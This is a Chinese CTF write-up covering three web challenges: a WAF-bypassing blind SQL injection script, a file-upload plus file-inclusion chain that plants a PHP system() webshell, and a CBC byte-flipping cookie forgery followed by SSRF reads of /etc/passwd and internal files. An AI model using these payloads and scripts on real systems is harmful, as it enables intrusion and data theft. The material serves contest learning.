其他

三道有趣的web题

2018-01-30 一叶飘零 合天智汇

走过路过,不要错过这个公众号哦!

0x01 绕过云waf

1.1

题目简述

题目来自最近的xctf赛博地球杯工业互联网安全大赛,是一道比较有趣的云waf绕过题目,题目过滤比较多,留下能用的只有like,regexp等为数不多的函数,这里我将介绍两种方法:


1.2

题目解法一 

34 38109 34 13225 0 0 1378 0 0:00:27 0:00:09 0:00:18 2454

这是属于比较常规的思路,即fuzz一下过滤参数,然后找到未被过滤的参数,进行拼接绕过waf,这里题目限制严格,而手动测试容易得知:

1. or的过滤可以用||绕过

2. 空格的过滤可用%0a绕过

而后我们知道flag是当前表字段pass的值,那么问题来了

如何去注入得到这个值?

一般的方法是构造:

Username = '||%0apass%0aregexp%0a'flag{……

这里简单介绍一下regexp:

Regexp是mysql中的正则表达式


而此我们正是用正则一位一位去匹配注入,得到想要的值


但是问题直接来了:

首先是通配符的问题,可以直接满足脚本,例如flag{____________},这显然不是我们想要的值

然后大小问题的区分,比如flag为flag{Xctf_Enc},而我们得到的却是flag{xctf_enc},这样也是不可取的


所以这里需要用到另一个参数binary

此时可以组合使用:

REGEXP BINARY

这样就可以成功的大小写识别了,实现区分大小写的正则注入

我的脚本如下:

#!/usr/bin/env python
# encoding: utf-8
import requests
import urllib
import string
payload = "flag{"
flag = payload
url = "http://qcloudcetc.xctf.org.cn:8099/findpwd.php"
for i in range(1,1000):
    for j in string.letters+"1234567890!@#$%^&*()_-+=}?":
        payload += j
        data = {
            "username":urllib.unquote("'||%0apass%0aregexp%0abinary%0a'")+payload
            }
        print data
        r = requests.post(url=url,data=data)
        if "您的密保问题是cetc" in r.content:
            flag = payload
            print flag
            break
        else:
            payload = flag


1.3

题目解法二

由于题目是云waf,这里还存在一个十分XD的解法


即构造超长字符串,可以使云waf不再对我们的数据进行检测,从而直接绕过云waf


如图:我们可以直接无视云waf,使用union select注入,此时的页面失去云waf的保护变得不堪一击。


0x02 有趣的组合拳

2.1

题目简介

题目同样来自最近的xctf赛博地球杯工业互联网安全大赛,考点也比较多,考察了代码审计与综合应用的能力,考察点为以下几步:

1.任意文件读取

2.上传文件绕过

3.文件包含


2.2

题目解法

题目给出了文件泄露:.index.php.swn

拿到源码后发现关键函数1:

function download($adfile, $file){

  //Only Administrators can download files .

      $cert = 'N';

    if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {

      echo "Welcome ! You Are Administrator !";

      $cert = 'Y';

    }else{

      echo "error1";

    }

    if ($cert === 'Y'){

      if (stripos($file, 'file_list') != false) die('error4');

      if (stripos($file, 'file_list') >= 0) {

      header('Content-Description: File Transfer');

      header('Content-Type: application/octet-stream');

      header('Content-Disposition: attachment; filename='. basename($file));

      header('Content-Transfer-Encoding: binary');

      header('Expires: 0');

      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');

      header('Pragma: public');

      header('Content-Length: ' . filesize($file));

      readfile($file);

    }else{

      die('error2');

    }

}else{

  echo 'error3';

}

}

关键函数2:

function autoload($page) {

    if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {

      die('no flag flag flag flag !');

    }

    if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {

      die('no uploaded uploaded uploaded uploaded !');

    }

    if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {

      die('no ://f ://f ://f');

    }

    if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {

      die('no ata ata ata');

    }

    if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {

      die('no 0 0 0');

    }

    if(file_exists("./includes/$page.php")) {

        include "./includes/$page.php";

    }

    elseif(file_exists("./includes/$page")) {

        include "./includes/$page";

    }else{

      echo "File is not exit ";

    }

}


关键函数1告诉我们:可以读文件

关键函数2告诉我们:存在文件包含

所以现在的思路比较清晰:

1. 利用关键函数1去读上传的代码,找到上传漏洞

2. 利用上传功能上传我们的恶意文件

3. 利用文件包含去包含我们的恶意文件,拿到flag


首先看关键函数1:

有一个检测:

if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss')

此处我们容易利用php://input伪协议轻松绕过


所以可以轻松拿到upload.php的源码

而在upload.php中我们容易发现几处关键代码:

 if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {

      die('file can not upload ! ');

}

此处限制了只能上传zip,jpg,png

if($type !== "application/zip" || $size > 400)//condition for the file

        {

        die("Format not allowed or file size too big!");

        }

此处限制了格式问题,这里抓包可以轻松改掉

if(file_exists('includes')){

            move_uploaded_file($temp, "includes/uploaded/" .$name);

            echo "Upload complete a!";

            shell_exec('sh /var/www/html/includes/unzip.sh');

          }elseif(file_exists('uploaded')){

            move_uploaded_file($temp, "uploaded/" .$name);

            echo "Upload complete!";

            shell_exec('sh /var/www/html/includes/unzip.sh');

此处对我们上次的文件进行了一个处理,而处理脚本是unzip.sh


所以下一步我们要去读这个文件

!#/bin/bash

cd ./uploaded

find ./ -size +1M | xargs rm

cd ../

unzip -o ./uploaded/*.zip -d ./uploaded/

rm -rf ./uploaded/*.zip

rm -rf ./uploaded/*.*

rm -rf ./uploaded/.*

cd ./uploaded

find -type d | xargs rm -rf

touch /var/www/html/includes/uploaded/index.php

chmod 000 /var/www/html/includes/uploaded/index.php

容易发现这个脚本将我们上传的zip解压,并删除

rm -rf ./uploaded/*.zip

rm -rf ./uploaded/*.*

rm -rf ./uploaded/.*

这里我们容易发现一个问题,就是如果不带后缀的话,将不会被匹配,也就意味着上传成功,不会被删除


所以我的做法如下:

生成一个名为sky的文件,写入内容

<?php

system('cat flag/flag/flag/flag/flag/flag/flag.php');

?>


然后压缩上传,抓包改Content-Type即可

然后上传后我们得到文件路径:

http://47.104.188.226:20001/includes/uploaded/sky

此时就需要用到之前提到的文件包含功能

http://47.104.188.226:20001/index.php?uploaded&page=uploaded/sky

然后根据

if(file_exists("./includes/$page.php")) {

        include "./includes/$page.php";

    }

我们包含后的文件变成

http://47.104.188.226:20001/index.php?uploaded&page=uploaded/sky.php

此时即可拿到flag


0x03  CBC-SSRF

3.1

题目简介

题目来自CUMT2018校赛,改编自山科大的一道CBC字节翻转的题目。

主要考察点:

1.CBC字节翻转攻击突破登录限制

2.Curl读hosts发现内网

3.利用curl进行内网攻击


3.2

前引知识

以前在另一篇文章中提过,这里再简单说一下CBC字节翻转攻击


关注这个解密过程

但这时,我们是已知明文,想利用iv去改变解密后的明文

比如我们知道明文解密后是1dmin

我们想构造一个iv,让他解密后变成admin

还是原来的思路

原来的Iv[1]^middle[1]=plain[1]

而此时

我们想要

构造的iv[1]^mddle[1]=’a’

所以我们可以得到

构造的iv[1] = middle[1]^’a’

而middle[1]=原来的iv[1]^plain[1]

所以最后可以得到公式

构造的iv[1]= 原来的iv[1]^plain[1]^’a’

所以即可造成数据的伪造

我们可以用这个式子,遍历明文,构造出iv,让程序解密出我们想要的明文


3.3

题目解法

进去后发现是一个登陆页面

尝试登陆

得到回显

尝试其他

感觉上十分矛盾,需要admin登陆,却又不能用admin登陆

此时扫描一波目录,容易得到admin.php和login.php~的文件泄露

尝试直接访问admin.php

得到回显

阅读login.php~的文件泄露

关键点如上


Login函数会把info变量当做明文,用随机生成的token作为iv进行aes-128-cbc方式的加密,其中,密钥我们是不知道的


然后会把加密后的密文base64后赋值到cookie里的cipher,把iv的base64后的值赋值到cookie里的token


然后继续审计

Is_admin()函数是我们欺骗的关键


这里他将token和cipher解base64还原,然后进行解密


再将明文反序列化


如果反序列化成功,那么反序列化后的


username字段会被赋值到session的username,否则将反序列化失败的明文的base64打印出来

继续往后看

登录的时候会把用户名和密码进行序列化,传递给login()函数进行加密

然后经过is_admin()函数进行解密判断,如果成为admin就登录成功

那么下面我们开始构造

首先我们得研究清楚,反序列化后是什么

如果我们用

username=admin&password=123

进行登录

序列化后得到

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";}

但是这样显然不能成功,因为题目过滤了admin,所以我们尝试用1dmin

这样序列化后的结果

a:2:{s:8:"username";s:5:"1dmin";s:8:"password";s:3:"123";}

按照aes-128-cbc的分组方式将序列化分组,即16个一组

得到如下排列:

根据cbc翻转攻击的方式:

我们改变iv的某个字符将会影响第一组对应字符位置的值


改变第一组某个字符将会影响第二组对应字符位置的值


那么我们现在想把第二组的1dmin的‘1’改为‘a’

即:第二组的第10位改变成‘a’


所以可以应用cbc翻转攻击的公式


替换后的ord_new = ord(‘"’)^ord(‘a’)^ord(‘1’)

也就是说将此时的第一组的第10个字符改成chr(ord_new)即可


(注:双引号是第一组的第10个字符,1是第二组的第10个字符,a是我们想要的字符)

我们测试一下

脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64
url = "http://123.206.222.169:50001/login.php"
data = {
    "logname":"1dmin",
    "logpass":"123"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
token = urllib.unquote(list[1][6:])
cipher = base64.b64decode(urllib.unquote(list[2][7:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
    block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
token = base64.b64decode(token)
cipher_new = ""
for i in range(0,len(block)):
    cipher_new += block[i]
cookie={
    "PHPSESSID":phpsessid,
    "cipher":urllib.quote(base64.b64encode(cipher_new)),
    "token":urllib.quote(base64.b64encode(token))
}
s = requests.get(url=url,cookies=cookie)
print s.content

得到回显:

解一下base64得到:

~£66å•KúÚFž‰me";s:5:"admin";s:8:"password";s:3:"123";}


发现我们构造后的密文不可被序列化的原因是,我们一开始伪造第二组数据的时候改变了第一组的数据,导致第一组成了乱码


此时想到还需要二次构造,利用我们知道的iv,再次伪造第一组数据,将其变为一开始的a:2:{s:8:"userna


这里的操作还和上次一样,利用公式即可

我直接附上完整脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64
url = "http://123.206.222.169:50001/login.php"
data = {
    "logname":"1dmin",
    "logpass":"123"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
token = urllib.unquote(list[1][6:])
cipher = base64.b64decode(urllib.unquote(list[2][7:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
    block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
token = base64.b64decode(token)
cipher_new = ""
for i in range(0,len(block)):
    cipher_new += block[i]
cookie={
    "PHPSESSID":phpsessid,
    "cipher":urllib.quote(base64.b64encode(cipher_new)),
    "token":urllib.quote(base64.b64encode(token))
}
s = requests.get(url=url,cookies=cookie)
print s.content
res_tr = r"<p>base64_decode(.*?)can't unserialize</p>"
m_tr =  re.findall(res_tr,s.content)
base = m_tr[0][2:-3]
plain = base64.b64decode(base)[:16]
want = 'a:2:{s:8:"userna'
first_16 = ''
for i in range(16):
    first_16 += chr(ord(plain[i]) ^ ord(token[i]) ^ ord(want[i]))
newiv = first_16
cookie={
    "PHPSESSID":phpsessid,
    "cipher":urllib.quote(base64.b64encode(cipher_new)),
    "token":urllib.quote(base64.b64encode(newiv))
}
k = requests.get(url=url,cookies=cookie)
print phpsessid

此时我们可以得到一个phpsessionid了

j8cbomulc1dijjdja3dnpm1ji6

此时我们的构造成功,此phpsessionid的username就是admin

我们用cookieedit改变一下

保存后访问admin.php

得到回显

此时我们登录成功

观察url

http://123.206.222.169:50001/admin.php?url=http://skysec.top/

猜测是一个ssrf

尝试file://读文件

http://123.206.222.169:50001/admin.php?url=file://skysec.top/

得到回显

发现file被过滤了,这里想到上次乐清小俊杰的过滤


我们尝试大小写绕过

http://123.206.222.169:50001/admin.php?url=File:///etc/passwd

成功读取文件

找寻一番,发现没有flag的踪迹

于是读etc/hosts文件

http://123.206.222.169:50001/admin.php?url=File:///etc/hosts

看到回显

 

发现有172.17.0.1的内网

访问http://123.206.222.169:50001/admin.php?url=172.17.0.1

发现是空白页面,右键查看源代码

发现有读文件

但是有过滤

这里我们选择使用

php://filter/read=convert.base64-encode/resource的读取方式

看index.php

http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=index.php 

PD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWluY2x1ZGUgImZsYWcucGhwIjsKCWlmKCEkX0dFVFsnZmlsZSddKQoJCXsKCQkJZWNobyBmaWxlX2dldF9jb250ZW50cygiLi9pbmRleC5waHAiKTsKCQl9CgkkZmlsZT0kX0dFVFsnZmlsZSddOwoJaWYoc3Ryc3RyKCRmaWxlLCIuLi8iKXx8c3RyaXN0cigkZmlsZSwgInRwIil8fHN0cmlzdHIoJGZpbGUsImlucHV0Iil8fHN0cmlzdHIoJGZpbGUsImRhdGEiKSkKCXsKCQllY2hvICJPaCBubyEiOwoJCWV4aXQoKTsKCX0KCWluY2x1ZGUoJGZpbGUpOyAKPz4K

发现可以成功读取

于是猜想到可能存在flag.php

尝试

http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=flag.php


得到回显

PD9waHAgCi8vZWNobyAiY3VtdGN0Zntza3lfYW5kX2hpc19jYmNfaXNfc29fY29vbD99IjsKPz4KCg==


解码即可得到flag

<?php 

//echo "cumtctf{sky_and_his_cbc_is_so_cool?}";

?>

(完)


看不过瘾?合天2017年度干货精华请点击【精华】2017年度合天网安干货集锦

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

重金悬赏 | 合天原创投稿等你来!

    合天智汇

网址 : www.heetian.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存